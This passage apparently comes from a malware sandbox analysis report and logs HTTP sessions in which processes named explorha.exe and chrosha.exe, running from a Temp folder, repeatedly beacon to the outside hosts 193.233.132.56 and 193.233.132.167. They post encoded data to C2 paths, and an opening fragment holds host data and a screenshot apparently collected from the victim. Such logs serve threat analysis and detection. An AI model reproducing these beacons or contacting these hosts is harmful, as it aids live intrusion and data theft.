Kingdom)</a:Language><a:MachineName>user</a:MachineName><a:Monitor>iVBORw0KGgoAAAANSUhEUgAABQAAAAQACAYAAAC+k/RDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAKNcSURBVHhe7P1/eBz3feB57h93t3vnZ57dm9vb3dlnb7m63Z293M7tbvYws57l/vAoHts8a1e0Mxk4kYSMnFC2M4wcm5btQFFiJJbCSLItxTKcRMLEieixEliyAtkZg4ktWBaDSE4gUhYkWYR+gpZoyBQFkRLBX/pcfauqge5GoQCQAIluvt7P85oI6O7qquqG5PpMVfe/FZIkSZIkSZK6NgNASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZ
Apr 19, 2024 03:34:18.847451925 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.5	50786	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:16.588253021 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:16.830483913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.5	50787	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:16.853645086 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:17.100564957 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.5	50788	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:17.081065893 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:17.327124119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.5	50789	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:17.354295015 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:17.607673883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.5	50790	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:17.690479040 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:17.933073997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.5	50791	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:17.958326101 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:18.203187943 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.5	50792	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:18.188877106 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:18.446260929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.5	50793	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:18.451993942 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:18.700550079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.5	50794	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:18.807121992 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:19.054248095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.5	50795	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:19.058971882 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:19.307957888 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.5	50796	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:19.313164949 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:19.568156958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.5	50797	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:19.563560009 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:19.815685987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.5	50798	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:19.926707983 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:20.174391031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.5	50799	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:20.188282967 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:20.430874109 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.5	50800	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:20.426443100 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:20.679898977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.5	50801	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:20.683221102 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:20.932156086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.5	50802	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:21.039366961 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:21.280375957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.5	50803	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:21.285053968 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:21.527728081 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.5	50804	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:21.529706001 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:21.779273033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.5	50805	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:21.783415079 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:22.037081003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.5	50807	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:22.155663967 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:22.407547951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.5	50808	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
